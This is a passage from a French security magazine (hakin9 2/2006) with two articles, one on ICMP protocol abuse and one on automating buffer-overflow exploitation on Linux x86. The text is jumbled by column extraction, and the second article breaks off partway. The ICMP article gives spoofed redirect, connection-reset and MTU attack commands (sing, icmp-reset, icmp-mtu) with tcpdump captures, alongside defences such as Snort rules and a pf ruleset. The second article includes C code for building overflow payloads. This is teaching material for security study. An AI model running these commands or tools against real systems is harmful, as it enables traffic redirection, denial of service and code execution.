Veuillez consulter le Listing 6 pour un exemple des données de sortie de tcpdump émises lors d'un message de type destination unreachable.
Nous avons exposé dans la Figure 4 le format du message ICMP redirect.
Abus possibles
Un utilisateur malveillant peut modifier la table de routage d'un hôte afin de rediriger le trafic vers un hôte de type MITM (man-in-the-middle host), pour une opération de reniflage, ou vers une route de trou noir afin de faire sauter la connexion (DoS), grâce à l'usurpation d'adresses. La Figure 5 illustre la table de routage de Windows XP SP2. La passerelle par défaut est la suivante : 192.168.1.1. Un message de type ICMP redirect peut être envoyé vers une autre machine, comme par exemple 192.168.1.2 :
Si les routeurs de votre réseau envoient ce type de messages, un pirate pourra alors facilement cartographier votre réseau.
Redirection ICMP
Ce type de message est utilisé par un routeur ou un pare feu afin d'informer une source que son chemin favori est dirigé vers un hôte destinataire sélectionné. Le routeur envoie un paquet vers la destination prévue, puis un message de type ICMP redirect vers la source contenant une autre passerelle, ce qui engendre une modification dans la table de routage de la source. Le routeur
50
Figure 5. Table de routage SP2 de Windows XP avant redirection
hakin9 Nº 2/2006
Abus possibles
# sing -red -S 192.168.1.1 \ -gw 192.168.1.2 \
www.hakin9.org
-dest 0.0.0.0 -x host \ -prot tcp -psrc 100 \ -pdst 90 192.168.1.4
En règle générale, en réponse à une requête par écho ICMP envoyée avec l'identifiant 100 et la séquence de chiffre 90, un message de type ICMP redirect est souvent envoyé par le routeur (usurpé au moyen de -S) vers une machine Windows (192.168.1.4), afin de modifier sa table de routage et de paramétrer la machine 192.168.1.2 en tant que passerelle par défaut. Vous trouverez dans le Listing 7 les données de sortie obtenues avec tcpdump, et dans la Figure 6 une table de routage modifiée. Comme vous pouvez le constater, ce genre d'attaque fonctionne. Afin d'éviter ce type d'attaques sous Windows, il suffit de paramétrer EnableICMPRedirect sur 0 sous la clé d'enregistrement suivante : HKEY_LOCAL_MACHINE\ SYST EM \ Cur rentC ontr olSet \ Services\Tcpip\Parameters.
Fragmentation ICMP requise Le message ICMP de type fragmentation required but DF set est utilisé par un routeur ou un pare feu afin
Abus sur le protocole ICMP
Listing 7. Redirection ICMP vue dans tcpdump
§
192.168.1.1 > 192.168.1.4: icmp: redirect 0.0.0.0 to host 192.168.1.2 4500 0038 3372 0000 ff01 04fd c0a8 0101 c0a8 0104 0501 b87f c0a8 0102 4500 0038 4a2f 0000 ff06 afe4 c0a8 0104 0000 0000 0064 005a c010 c005
•
Listing 8. Exemple du mécanisme de requête/réponse de masque d'adresses
type 17 code 0, de la source vers la destination pour une requête de masque, type 18 code 0, de la destination vers la source pour une réponse de masque.
Vous trouverez dans la Figure 8 le format d'un message ICMP de type Address mask request/reply, et dans le Listing 8 un exemple de ce processus.
Abus possibles
# sing -mask 10.173.217.2 10.173.217.50 > 10.173.217.2: icmp: 4500 0020 3372 0000 ff01 c0db 0aad 0aad d902 1100 a38c 1f73 2c00 0000 10.173.217.2 > 10.173.217.50: icmp: 4500 0020 3372 0000 4001 7fdc 0aad 0aad d932 1200 a2cb 1f73 2c00 ffff 0f00 0000 00f4 5800 b0bf 0000 00f4
•
address mask request d932 0000 address mask is 0xffffffc0 d902 ffc0
Il s'agit d'un autre type de message ICMP permettant à l'hôte emmetteur d'effectuer une reconnaissance, dans la mesure où l'emmetteur peut facilement cartographier le sous-réseau. Ce type d'ICMP est, toutefois, obsolète et très rarement utilisé.
d'informer l'expéditeur de la nécessité de réaliser une fragmentation lorsque le bit DF (don't fragment) est activé dans les paquets originaux. Le message d'erreur contient la valeur MTU du réseau exigeant une telle fragmentation. Le message ICMP impliqué dans ce processus est le suivant : •
type 3 code 4, du dispositif filtrant vers la source.
Vous trouverez dans la Figure 7 le format du message ICMP de type fragmentation required but DF set.
Figure 6. Table de routage de Windows XP SP2, après redirection
Abus possibles
Ce type de message pourrait être utilisé pour la reconnaissance, puisqu'un pirate peut contrôler les sorties du chemin afin de planifier une attaque DoS.
Requête/réponse de masque d'adresses ICMP
Ce message est utilisé afin d'obtenir une valeur de masque d'adresses. Par exemple, les systèmes sans disque doivent obtenir leur masque au moment de l'amorce. Les messages ICMP impliqués dans ce processus sont les suivants :
Figure 7. Format du message ICMP de type fragmentation required but DF sets
Figure 8. Format d'un message ICMP de type Address mask request/reply
www.hakin9.org
hakin9 Nº 2/2006
51
Pratique
Listing 9. Attaque par réinitialisation icmp vue dans tcpdump # tcpdump -ile1 -nnv icmp and host 192.168.1.4 10.10.228.237 > 192.168.1.4: icmp: 10.10.228.237 protocol 6 unreachable for 192.168.1.4.3763 > 10.10.228.237.80: 3634163930 [|tcp] (ttl 211, id 28211, len 576) (ttl 214, id 31456)
§
§ §
Listing 10. Réaction face à l'attaque par réinitialisation icmp exposée dans tcpdump # tcpdump -ile1 -nn 'tcp[13] & 4 != 0' 192.168.1.4.3763 > 10.10.228.237.80: R 1428640266:1428640266(0) ack 667972724 win 0 (DF)
§
Listing 11. Attaque par réinitialisation icmp provoquant l'abandon d'une connexion avec un client Putty # icmp-reset -c 10.239.7.27:1040-1060 -s 10.239.5.41:22 -t client -r 56 # tcpdump -ile1 -nn host 10.239.5.41 and port 22 10.239.7.27.1049 > 10.239.5.41.22: S [tcp sum ok] 782249187:782249187(0) win 16384 <mss 460,nop,nop,sackOK> (DF) (ttl 127, id 23641, len 48) 10.239.5.41.22 > 10.239.7.27.1049: S [tcp sum ok] 4070582427:4070582427(0) ack 782249188 win 5840 <mss 1460,nop,nop,sackOK> (DF) (ttl 64, id 0, len 48) (...) 10.239.5.41 > 10.239.7.27: icmp: 10.239.5.41 protocol 6 unreachable for 10.239.7.27.1049 > 10.239.5.41.22: 1144805691 [|tcp] (ttl 206, id 57166, len 576) (...) 10.239.5.41 > 10.239.7.27: icmp: 10.239.5.41 protocol 6 unreachable for 10.239.7.27.1049 > 10.239.5.41.22: 1512665611 [|tcp] (ttl 234, id 63018, len 576)
§
§
§
§ §
ICMP contre TCP
Fernando Gont a réalisé un travail de grand intérêt sur ce type d'attaques, qu'il a décrit dans le projet Internet intitulé ICMP attacks against TCP (voir l'Encadré Sur Internet). En règle générale, ce type d'attaques comprend les éléments suivants : • • •
§
§
§ §
aux attaques de notre implémentation TCP/IP sur notre système.
Réinitialisation de la connexion invisible
Ce type d'attaque est utilisé afin de réinitialiser la connexion à partir de
# icmp-reset \ -c 192.168.1.4:3000-4000 \ -s 10.10.189.73:80 \ -t client -r 128
Si le comportement du client est connu, il est possible d'indiquer une étendue de ports sources. L'outil en question est capable de tester tous les ports compris entre 0 et 65535. L'exemple ci-dessus demande à envoyer 1000 connexions. Une fois le cycle achevé, le processus reprend à partir du port 3000. Ainsi, si le client redémarre la connexion juste après la réinitialisation, l'outil réinitialisera la connexion sans cesse. Cette application a été testée sur un dispositif en réseau, chargé de télécharger des fichiers à partir d'un serveur Web. L'option -c signifie client (IP:src port), -s serveur (IP:dst port), -t la cible chargée de réinitialiser la connexion (client ou serveur), et
réinitialisation de la connexion invisible, dégradation de la performance de la connexion invisible, réduction des données de sortie de la connexion invisible.
Des outils ont également été préparés afin de démontrer l'existence de ces éléments. Nous allons expliquer le fonctionnement de ces outils dans le but de contrôler la vulnérabilité
52
§
la source, ou de la destination de la connexion TCP. Le pirate n'a besoin que de la source, de la destination IP et du port utilisé. Il existe de multiples connexions TCP pour lesquelles ces quatre valeurs sont bien connues, telles que les transferts de zones BGP et DNS. Lorsqu'un hôte reçoit un message ICMP de type 3, code 2, 3 ou 4, ce dernier désactive automatiquement la connexion, en raison de la fonction de réparation TCP impliquée dans ce type d'erreur, considérée comme hard error par le document RFC 1122. Un des outils de démonstration élaboré par Fernando peut être utilisé pour vous donner un exemple :
hakin9 Nº 2/2006
Figure 9. Connexion Putty abandonnée par l'outil de réinitialisation ICMP
www.hakin9.org
Abus sur le protocole ICMP
Listing 12. Attaque mtu ICMP vue par tcpdump
§
10.239.5.41:22 > 10.239.7.27.1058: . 20745:22225(1480) ack 0 win 5840 (DF) (ttl 64, id 64416) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 48281 win 16384 (DF) (ttl 127, id 34764) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 68161 win 16384 (DF) (ttl 127, id 98023) 10.239.5.41:22 > 10.239.7.27.1058: . 22225:23705(1480) ack 0 win 17040 (DF) (ttl 64, id 23658) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 69581 win 16384 (DF) (ttl 127, id 65789) 10.239.5.41:22 > 10.239.7.27.1058: . 23705:25185(1480) ack 0 win 5840 (DF) (ttl 64, id 87436) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 71001 win 16384 (DF) (ttl 127, id 78413) 10.239.5.41:22 > 10.239.7.27.1058: . 25185:26665(1480) ack 0 win 5840 (DF) (ttl 64, id 98127) 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 65896) 10.239.5.41:22 > 10.239.7.27.1058: . 83848:84320(472) ack 0 win 5840 (DF) (ttl 64, id 56897) 10.239.5.41:22 > 10.239.7.27.1058: . 84320:84792(472) ack 0 win 5840 (DF) (ttl 64, id 77884) 10.239.5.41:22 > 10.239.7.27.1058: . 84792:85264(472) ack 0 win 5840 (DF) (ttl 64, id 45902) 10.239.5.41:22 > 10.239.7.27.1058: . 85264:85736(472) ack 0 win 5840 (DF) (ttl 64, id 98542) 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 62154) 10.239.5.41:22 > 10.239.7.27.1058: . 81004:81476(472) ack 0 win 5840 (DF) (ttl 64, id 67554) 10.239.5.41:22 > 10.239.7.27.1058: . 81476:81948(472) ack 0 win 5840 (DF) (ttl 64, id 44688) 10.239.5.41:22 > 10.239.7.27.1058: . 81948:82420(472) ack 0 win 5840 (DF) (ttl 64, id 87327) 10.239.5.41:22 > 10.239.7.27.1058: . 82420:82892(472) ack 0 win 5840 (DF) (ttl 64, id 65876)
§ § § § § §
§
§ § § §
§
§ § § § §
Filtrage adéquat du protocole ICMP
De nombreux documents recommandent de bloquer tous les protocoles ICMP. En réalité, une configuration adéquate du protocole ICMP vous garantira un bon fonctionnement du réseau, tout en vous permettant de contrôler correctement les services et en vous aidant à réparer les problèmes. Il est donc recommandé de suivre les instructions suivantes : • • •
• •
paramétrer un filtre anti-usurpation et restreindre la source et la destination des paquets, activer un filtrage avec état, analyser les messages entrants et sortants de type ICMP Unreachable, ICMP Unreachable Need to Fragment (utilisé par le MTU du chemin pour déterminer la valeur MTU optimale) et ICMP Time Exceeded in Transit (TTL expiré en transit utilisé par l'utilitaire de routage traceroute de *NIX et tracert de Windows ; l'utilitaire de routage *NIX utilise également un port UDP élevé. Ce message est également important lorsque surviennent des boucles de routage), analyser les messages sortants de type ICMP Echo Request issus d'hôtes internes, si possible, appliquer une limitation de taux du protocole ICMP, afin d'atténuer les effets d'inondations ICMP (technique appelée Committed Access Rate (CAR, ou Taux d'accès Engagé) permettant ce type de filtrage).
Tous,les autres ICMP devraient être bloqués.
enfin, -r le taux permettant de limiter la bande passante de l'utilisateur pour l'attaque (exprimée en kbps). Par défaut, les autres champs sont réglés sur des valeurs aléatoires, puis des messages ICMP de type 3 et de code 2 sont envoyés. Vous trouverez dans le Listing 9 les données de sortie émises par tcpdump. Le client réagit en abandonnant la connexion, puis en envoyant un paquet RST au serveur Web (voir le Listing 10). Cet outil a été testé sur différentes machines Microsoft (veuillez consulter le Bulletin de Sécurité Microsoft MS05-019 (893066) relatif à cette vulnérabilité). Ainsi, il a été constaté que sur une machine équipée de Windows Server 2003, édition entreprise, sans aucun programme de correction, l'outil a abandonné une connexion avec un client Putty, comme l'illustre la Figure 9. Nous avons exposé dans le Listing 11 le fonctionnement détaillé de ce type d'attaques.
Dégradation de performance invisible
Cette attaque est utilisée afin de dégrader la performance au cours d'une connexion TCP. L'hôte croit qu'il envoie des paquets plus importants que le PMTU du moment. Ceci a pour effet de réduire la performance du transfert et augmenter l'utilisation de l'unité centrale. Le même taux de transfert de données exigera bien plus de paquets (dans la mesure où le protocole TCP enverrait des paquets plus petits), ce qui provoquera une augmentation du taux de paquets et de la charge de l'unité centrale. Lorsqu'un hôte reçoit un message ICMP de type 4, et de code 0, il doit ralentir le taux auquel il envoie les données. Ce qui permet au pirate de réduire les données de sortie sur le lien menant au chemin. Exemple : # icmp-mtu \ -c 10.239.7.27:1040-1060 \ -s 10.239.5.41:22 \ -t server -r 56 \ -D 300 -m 512
www.hakin9.org
hakin9 Nº 2/2006
53
Pratique
L'option -D 300 représente un arrêt de 300 secondes avant de lancer une autre opération, alors que l'option m 512 paramètre le MTU du chemin à 512 octets (par défaut, le MTU sera paramétré sur 68, valeur la plus petite possible). Consultez le Listing 12 pour les résultats émis par tcpdump.
Réduction des données de sortie invisible
Ce type d'attaque est utilisée afin de ralentir la connexion soit à partir de la source, soit en partant de la destination de la connexion TCP. Le pirate n'a besoin de connaître que la source, la destination IP et la combinaison de ports utilisée. Lorsqu'un hôte reçoit un message ICMP de type 4 et de code 0, il doit ralentir le taux auquel il envoie les données, ce qui permet au pirate de réduire les données de sortie du chemin. En situation normale, le client émet une fenêtre de X octets. Dans ce cas, il dispose d'un espace dans la mémoire tampon de X octets de données (contrôle du flux TCP). Après l'établissement d'une liaison de trois manières différentes, une connexion TCP débute enfin dans l'état dénommé slow start (départ ralenti), dans lequel le protocole TCP ajuste son taux de transmission, selon le taux reçu à l'autre extrémité. Le départ ralenti du protocole TCP est
Renifler les règles du protocole ICMP
L'opération de reniflage touche aux règles icmp-info.rules et icmp.rules. L'analyse de ces règles permet de se faire une meilleure idée de la manière dont le protocole ICMP peut être abusé. Examinons une des signatures contenues dans icmp-info.rules : alert icmp $EXTERNAL_NET any ->
§
$HOME_NET any (msg:”ICMP PING”; icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;)
Ce qui signifie la chose suivante : alerte moi uniquement avec le message ICMP PING, si quelqu'un d'étranger au système tente d'exécuter un utilitaire ping dans mon réseau, ou : alert icmp $EXTERNAL_NET any ->
§
$HOME_NET any (msg:”ICMP redirect host”; icode:1; itype:5; reference:arachnids,135; reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:4;)
implémenté au moyen de deux variables : cwnd (Congestion Window, ou Fenêtre de congestion) et ssthresh (Slow Start Threshold, ou Seuil de Départ Ralenti). L'option cwnd est une restriction auto-imposée de fenêtre de transmission par l'emetteur. Cette restriction augmentera dès lors que le protocole TCP est utilisé pour gérer le trafic sans problème. L'option ssthresh est un seuil permettant de déterminer un point à partir duquel le protocole TCP existe au début d'une phase de départ ralenti. Si cwnd augmente au-delà de ssthresh, la session TCP dirigée
§
dans cette direction est considérée comme hors d'une phase de départ ralenti. En l'espace de quelques interactions, l'option cwnd dépassera ssthresh, moment à partir duquel la session peut être considérée hors du départ ralenti. Autrement dit, la connexion TCP a atteint un état optimal, où l'option cwnd correspond parfaitement à la capacité du réseau. A partir de cet état, la fenêtre de congestion se déplacera de manière linéaire. Un message ICMP de type source quench engage la connexion dans une phase de départ ralenti sans interruption, et le serveur n'envoie
ext_if = "ne1" prv_if = "ne2" srv_mail ="192.168.1.5/32" my_bsd ="192.168.1.4/32" (...) # Block all inbound TCP requests on port 133, sending back ICMP unreachable block return-icmp in quick on $ext_if proto tcp from any to $srv_mail port auth # Let the admin bsd machine ping pass in on $prv_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state pass out on $ext_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state # Let the admin bsd machine receive time to live exceeded in transit and udp port unreachable pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 11 keep state pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 11 keep state pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 3 code 3 keep state pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 3 code 3 keep state
hakin9 Nº 2/2006
§
qui signifie : alerte moi avec le message ICMP redirect host, si quelqu'un d'étranger au système tente de modifier le routage dans mon réseau. Dans ce type de messages, vous obtenez également une référence, si cette dernière existe, comme les expositions aux vulnérabilités les plus répandues.
Listing 13. Partie ICMP du fichier de configuration des fonctions programmées de l'auteur
54
§
www.hakin9.org
Abus sur le protocole ICMP
À propos de l'auteur
Antonio Merola travaille comme consultant expérimenté en sécurité pour la société Telecom Italia. Au cours de sa carrière professionnelle, il a été confronté à de nombreux aspects de la sécurité informatique. En tant qu'indépendant, il collabore avec plusieurs sociétés en tant que consultant et instructeur dans un large choix de sujets liés à la sécurité. Il est l'auteur de nombreux articles informatiques publiés dans plusieurs magazines italiens. Il s'intéresse depuis peu aux Honey pots et aux solutions de sécurité de type IDS/IPS.
Remerciements
L'auteur souhaite remercier son ami et collègue Massimo Fubini pour avoir consacré du temps aux essais menés en laboratoire sur les abus du protocole ICMP, dans le cadre du présent article.
alors qu'un seul segment, de manière à limiter les données de sortie de la connexion à un seul paquet par RTT (Round Trip Time, ou durée de rotation). Vous trouverez un exemple de ce processus sur le site Web de Fernando Gont (voir l'Encadré Sur Internet).
Comment se défendre contre les attaques ICMP
La gestion du protocole ICMP demande un filtrage avec état. Or, le protocole ICMP n'est pas conscient des états contrairement à UDP. Pister les connexions se révèle donc difficile au moyen de messages réponses ICMP à des problèmes nontransitoires. Alors que le mécanisme de messages requêtes/réponses est facile à gérer en raison de la présence d'un stimulus et d'une réponse, c'est en revanche la seule situation où le protocole ICMP peut être considéré avec état. La plupart des défenses ICMP sont appliquées sur le périmètre. Par exemple, une commande no ip
unreachables est disponible dans un routeur Cisco, ce qui le pousse à stopper l'envoi de messages ICMP de type 3, lorsqu'un hôte demeure inatteignable. Il existe également une commande no ip directedbroadcast permettant d'empêcher le trafic sur des adresses de diffusion (par exemple, l'attaque smurf), et une autre no ip source-route capable de désactiver le routage de la source. Toutefois, il n'existe pas de commande de type no ip redirects permettant d'empêcher toute modification malveillante du chemin. Les messages ICMP de type redirect devraient être bloqués au moyen de filtres adéquats sur le routeur, censé réaliser un filtrage à l'entrée, alors que le message fragmentation required devrait être autorisé, justement pour éviter tout risque de fragmentation. Le pare feu utilisé devrait être capable de gérer le protocole ICMP, et permettre la spécification de types et de codes. Si vous utilisez un filtre de paquets d'OpenBSD, le Listing 13 vous montrera comment implémenter une protection
Sur Internet • • • • •
http://www.sans.org/rr – SANS, http://sourceforge.net/projects/sing – outil SING, http://www.gont.com.ar – ICMP contre les outils d'attaques TCP, http://www.microsoft.com/technet/security/bulletin/MS05-019.mspx – Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service, http://www.tcpipguide.com/free/t_ICMPOverviewHistoryVersionsandStandards. htm – ICMP Overview, History, Versions and Standards.
www.hakin9.org
contre les attaques ICMP via des fonctions programmées. OpenBSD se révèle être un bon choix, car il enregistre non seulement d'impressionnants records de sécurité, mais est également capable de réaliser un filtrage avec état sur le protocole ICMP, sur les messages d'erreur de TCP et d'UDP mis en correspondance avec la connexion à laquelle ils appartiennent (option keep state), et est le premier système d'exploitation à implémenter un ensemble complet de contre mesures relatives aux attaques basées sur le protocole ICMP. Un système de détection d'intrusion devrait également être installé, afin de surveiller d'éventuelles activités anormales du protocole ICMP. L'opération de renifler (voir la partie intitulée Renifler les règles du protocole ICMP) comprend les fichiers de signatures consacrés à d'éventuels trafics malveillant sur le protocole ICMP. Ces signatures détectent la plupart des outils de scan ainsi que les abus du trafic ICMP tels que les hôtes redirigés. Enfin, avant d'implémenter une protection ICMP et de bloquer presque tous les trafics ICMP, il vaut mieux bien peser le pour et le contre. Alors qu'un niveau de protection trop bas peut permettre à des pirates d'effectuer une attaque plus rapide avant une attaque, il permettra également à certains services de fonctionner sans problèmes (par exemple, retourner un message de type destination unreachable sur le port 113 TCP permet d'envoyer des connexions complètes plus rapidement sans attendre le délai d'attente). Il n'est pas difficile de se protéger contre les attaques ICMP. Bien que le protocole ICMP soit considéré comme sans danger en termes de menaces potentielles, le réseau peut toutefois souffrir en l'absence de mesures adéquates. C'est donc un problème à ne pas prendre à la légère. Il faut donc bien s'assurer qu'une protection adéquate est en place. l
hakin9 Nº 2/2006
55
Programmation
Automatiser le processus d'exploitation sur Linux x86 Stavros Lekkas
Degré de difficulté
Le contrôle d'éventuels défauts présents dans les binaires compilés est une tâche très pénible pour les pénétromètres. Cette tâche serait définitivement facilitée avec un outil susceptible d'identifier les bogues dus au surdébit de la mémoire tampon et de produire un code d'exploitation.
I
maginons que vous ayiez à écrire un extrait de code compilé sans avoir la chance de disposer du code source correspondant. Par ailleurs, vous constatez que ce code compilé présente les caractéristiques inhérentes à une vulnérabilité par surdébit de la mémoire tampon. Dans la mesure où l'analyse de désassemblage est un processus extrêmement long, un outil capable d'automatiser le processus d'exploitation de cette vulnérabilité potentielle se révèlerait très utile. Nous allons donc vous présenter l'installation possible d'un tel outil. Dire qu'un programme est affecté par un bogue de surdébit de la mémoire tampon basée sur la pile signifie qu'il existe un lieu, la dénommée mémoire tampon, où les données sont copiées. Ce type de mémoire tampon existe dans la pile où ces dernières sont pointées par des adresses. Par ailleurs, lorsque les données sont enfin copiées, les limites ne sont pas contrôlées, avec le risque évident d'un surdébit. Si la mémoire tampon est effectivement en surdébit, certains autres segments hors de son champ d'action sont à leur tour modifiés. La manipulation efficiente de tels segments contenant des données va-
56
hakin9 Nº 2/2006
lides implique un contrôle du flux d'exécution du programme au moyen de simples adresses valides dirigées vers ces segments. Les données, mentionnées plus haut, sont placées dans la mémoire tampon, et peuvent parfois prendre la forme de données d'entrée de l'utilisateur. Le programme peut, en effet, accepter des données d'entrée
Cet article explique... • • • •
Comment identifier ce genre particulier de bogues sans avoir recours au code source, Comment suivre les étapes nécessaires à la tâche d'exploitation de ce bogue, Les critères généraux relatifs à un modèle de code générique d'exploitation, Les raisons pour lesquelles cette automatisation est une aide précieuse.
Ce qu'il faut savoir... • • •
www.hakin9.org
Les bases élémentaires de la programmation en C sous Linux, Le fonctionnement du système d'exploitation de Linux, Le fonctionnement de la pile sous Linux.
Exploitation automatisée
Utilisation de la logique des ensembles flous La théorie relative à la logique des ensembles flous traite l'ambiguïté afin d'essayer de catégoriser l'incertitude et de classer cette dernière mathématiquement. L'ensemble des nombres entiers en mathématiques possède une cardinalité infinie, à l'instar de l'ensemble des nombres réels, etc. Toutefois, en matière d'informatique, tout est fini et les calculs dotés d'opérandes trop importants peuvent échouer.
utilisateur dans de nombreux cas possibles comme, par exemple, sous la forme d'arguments du programme (ou de paramètres su vous préférez), de variables environnementales, de commutateurs, et même de données d'entrée de programme d'exécution reçues au moyen des fonctions libc gets(), scanf(), etc. Dans la mesure où chacun de ces cas est quasiment unique, nous n'évoquerons, dans le cadre du présent article, que les arguments du programme en tant que vecteurs d'attaques. Il est essentiel de mentionner que le concept d'automatisation n'a aucun lien avec la logique des ensembles flous, et que l'outil produit n'a jamais recours aux techniques des ensembles flous. Tenter de détecter des vulnérabilités particulières en inspectant des données générées à partir d'entrées délibérées ne relève pas de la logique des ensembles flous (voir la partie intitulée Utilisation de la logique des ensembles flous). Dans notre recherche de chemins pour contrôler le %eip (voir la Figure 1 pour plus d'explications) via les arguments, il nous faut raisonner sur les éléments dont nous disposons. Par exemple, il faudra déterminer si un binaire exécutable donné est vulnérable ou non. La première supposition pourrait se traduire comme suit : soit le nième argument n'est pas vulnérable, soit il l'est, auquel cas, il existe une distance définie devant être remplie
Figure 1. Présentation générale conceptuelle d'une opération de copie incertaine
Figure 2. Organigramme du premier algorithme de création de données utiles avec des caractères de sorte à atteindre %eip. Adapter ces exigences dans des tableaux de valeurs prédéfinies permet de créer un modèle de construction logique dans un cadre d'applications définies.
Arguments du programme De nombreux formats ELF exécutables reçoivent des arguments avant de débuter leur exécution. Un exemple typique est la commande rm, à laquelle il faut fournir sous forme de paramètre les éléments que nous souhaitons supprimer. Supposons que nous ayons un format ELF exécutable, a.out, chargé d'imprimer uniquement un flux de caractères
www.hakin9.org
tel que fourni en tant que premier argument. $ ./a.out hakin9 You typed: hakin9
Il est possible qu'au lieu d'appeler uniquement printf() avec argv[1] comme paramètre, une mémoire tampon intermédiaire, un tableau de caractères ait été déclaré. Si tel est le cas, argv[1] est alors copié dans la mémoire tampon, puis printf() utilise cette mémoire tampon en tant que paramètre, avec, si tout se passe correctement, la chaîne au format approprié. Il est également possible que argv[1] soit copié dans cette mémoire
hakin9 Nº 2/2006
57
Programmation
tampon d'une manière peu sûre. Que se passerait-il si nous l'alimentions avec des données d'entrée plus importantes ?
Listing 1. Sous-système de création de données utiles char *make_payload(char *buffer, int policy, LINT num) // politiques : // _APPEND ~ ajout de $num 'A'[s] // _REMOVE ~ suppression de $num 'A'[s] { char *my_buffer; LINT i, len = strlen(buffer);
$ ./a.out `perl –e ‘print "A" x 50’` You typed: AAAAAAA … AAA Segmentation fault (core dumped)
if( policy == _APPEND ) { if( !(my_buffer = (char *)malloc( len + num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() append error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer); if( len != 0 ) for( i = 0; i < len; i++ ) my_buffer[i] = *(buffer++);
$ ulimit -c unlimited
for( i = len; i < len + num; i++ ) my_buffer[i] = 'A';
}
my_buffer[i] = 0x00;
if( policy == _REMOVE ) { if( !(my_buffer = (char *)malloc( len - num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() remove error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer); for( i = 0; i < len - num; i++ ) my_buffer[i] = *(buffer++);
}
}
#0 0x41414141 in ?? ()
return my_buffer;
hakin9 Nº 2/2006
De cette façon, nous autorisons la production de fichiers de noyaux dont la taille est illimitée. Mais revenons à notre exemple ! La production d'un noyau signifie qu'une mémoire tampon intermédiaire a bien été utilisée, et dans laquelle argv[1] a été copié de manière incertaine. Grâce à gdb, le débogueur GNU, il est possible d'observer l'instruction à l'origine de la panne : $ ./gdb –c core ./a.out | grep \#0
my_buffer[i] = 0x00;
Figure 3. Organigramme du deuxième algorithme de création de données utiles
58
La mémoire ne fonctionne plus et produit un noyau. Toutefois, de nombreuses distributions de Linux ne produisent pas de fichiers noyaux. Nous pouvons donc activer cette option en tapant la commande suivante :
www.hakin9.org
Ce qui est logique puisque 0x41 est l'équivalent hexadécimal de A. Nous avons exposé dans la Figure 1 une présentation générale conceptuelle bien plus détaillée. Le pointeur de l'instruction a été remplacé par une adresse invalide, ce qui a entraîné la panne (voir également l'article intitulé Provoquer un surdébit de la pile sous Linux x86 disponible à partir du site Web du magazine hakin9.org). Au lieu de lui fournir cinquante A, nous aurions pu déterminer la distance exacte permettant d'atteindre %ebp, remplir cette distance avec des A, puis proposer une adresse valide. Ainsi, il est possible de contrôler le flux du programme exécuté de manière à ce que ce dernier exécute le code que nous pouvons fournir. De plus, cette opération peut être automatisée.
Exploitation automatisée
Collecte des informations À ce stade, il est important de mentionner que les informations qui nous intéressent au sujet d’un exécutable donné relèvent du nombre d'arguments, qui nous donnera une échelle de valeur pour manipuler %eip, ainsi que la distance permettant d'atteindre %eip . Si nous reprenons l'exemple de a.out, nous aurions pu débuter l'application gdb pour chacune des valeurs de longueur possible de l'argument, en créant à chaque fois une charge de mémoire tampon qui augmenterait de manière progressive. Puis, il faudra contrôler la valeur du pointeur d'instruction afin de définir le degré d'influence de nos données d'entrée. Si l'exécutable est réellement vulnérable, nous verrons alors trois états différents lors de notre contrôle. Les trois états suivants apparaîtront l'un après l'autre : •
•
•
Une valeur qui ne correspond pas à une alternance du pointeur de l'instruction peut apparaître plusieurs fois. Une valeur qui correspond au remplacement partiel du pointeur de l'instruction apparaît une fois, et nous savons que l'essai suivant correspond automatiquement à un troisième état (comme par exemple : 0x00414141). Une valeur qui correspond à un remplacement total du pointeur de l'instruction (comme par exemple : 0x41414141).
Il est intéressant de remarquer qu'un remplacement partiel réussi revient à altérer trois octets sur quatre de %eip. Il impossible de suspecter l'adresse 0xbfff4141 dans un remplacement partiel puisqu'il s'agit d'une adresse valide pointant vers la pile. Toutefois, l'adresse 0xbf414141 est bien plus suspecte car il est rare que la pile augmente plus. Bien que l'implémentation finale prenne en compte ce problème, il serait assez judicieux d'affecter des valeurs cons-
Listing 2. Sous-système d'exécution et d'inspection élaboré avec gdb, grep et awk int exec_and_inspect_1(char *buffer, int arg, char *vulnfile) { //retourne : -2 ~ erreur interne // -1 ~ pas de correspondance // 0 ~ correspondance certaine :) // 1 ~ correspondance probable char int FILE u_long
tmp[512], bufresponse[64]; inspec_val, i; *fd; address;
close(2); // gdb imprime vers stderr if( (fd = fopen(CMDF, "w+")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error creating gdb command file.\n"); fflush(stderr); return -2; } fprintf(fd, "r "); for(i = 0; i < arg - 1; i++) fprintf(fd, "foo "); fprintf(fd, "%s\nquit\n", buffer); fclose(fd); CLEAR(tmp); snprintf(tmp, 511, "%s %s --command=%s|%s 0x | %s {'print $1'} > %s", GDB, vulnfile, CMDF, GREP, AWK, RETF); system(tmp); unlink(CMDF); CLEAR(bufresponse); if( (fd = fopen( RETF, "r")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error reading gdb output file.\ n"); fflush(stderr); return -2; } fgets(bufresponse, 63, fd); fclose(fd); address = strtoul(bufresponse, 0, 16); if(verbose) fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));
Suite sur la page suivante
tantes de poids afin d'en indiquer le degré de danger et de déterminer l'éventuel remplacement.
Premier algorithme de création de données utiles
Le sous-système responsable de la création de données utiles ne fait
www.hakin9.org
